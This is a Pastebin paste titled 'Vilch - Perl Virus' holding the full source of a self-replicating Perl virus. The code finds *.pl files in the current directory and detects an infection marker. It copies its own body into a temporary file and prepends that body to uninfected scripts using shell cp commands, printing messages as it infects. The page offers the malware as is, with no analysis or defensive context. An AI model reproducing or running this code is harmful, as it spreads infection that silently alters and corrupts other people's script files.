Advertisement
FlyFar

Vilch - Perl Virus

Feb 17th, 2023
1,291
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.88 KB | Cybersecurity | 0 0
  1. system"clear";
  2. $partone="#End_my";
  3. $parttwo="_body";
  4. $EndMarker=$partone.$parttwo;
  5. $infected=0;
  6. $BodyCopy=0;
  7. $textold="";
  8.  
  9. # this "while" for detecting *.pl file
  10. # and output in the $_ local perl variable
  11.  
  12. while (<*.pl>)
  13. {
  14.  
  15. $files=$_;
  16. $text="<".$_;
  17. $textw=">".$_;
  18. $textww=">>".$_;
  19.  
  20.  
  21.  open(TESTFILE,$text);
  22.  until(eof(TESTFILE))
  23.         {
  24.           $strres=readline(TESTFILE);
  25.      
  26.    
  27. #               this procedure detecting a marker in the *.pl file
  28. #      if marker detected then file infected if not then file not infected!
  29.  
  30.           if ($strres=~ m/onehalf3554/i)
  31.        {
  32.                   if ($BodyCopy==0)
  33.                      {
  34.                         $BodyCopy=1;
  35.                         open(VIRUSBODY,$text);
  36.                           until ($BodyStr=~ m/$EndMarker/i)
  37.                             {
  38.                              $BodyStr=readline(VIRUSBODY) ;
  39.                              $BodyLoopCount++;
  40.                              $BodyArray[$BodyLoopCount]=$BodyStr;
  41.                             }
  42.                             close(VIRUSBODY);
  43.                       }
  44.               $infected=1;
  45.        }
  46.          }
  47. close (TESTFILE);
  48.  
  49. if ($infected==1)
  50. {
  51. print "[im detecting old infecting file :]\n";
  52. print $textw." infected old time.[Ok]\n";
  53. open(RESERVBODY,">body.bod");
  54. print RESERVBODY @BodyArray;
  55. close(RESERVBODY);
  56. }
  57.  
  58.  
  59.         if ($infected==0)
  60.     {    
  61.                    print $textw."im trying infecting this file now! \n";
  62.                        system "cp ".$files." temp.bod";
  63.                open(NULFILE,$textww);
  64.                $NUL="";
  65.                print NULFILE $NUL;
  66.                system "cp body.bod"." ".$files;
  67.                        open(DATAFILE,"<temp.bod");
  68.                until(eof(DATAFILE))
  69.                {
  70.                $reloader=readline(DATAFILE);       
  71.                print NULFILE $reloader;                
  72.                }
  73.       close(DATAFILE);         
  74.           close(NULFILE);
  75.     }
  76.  
  77.  }
  78. #End_my_body
  79.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement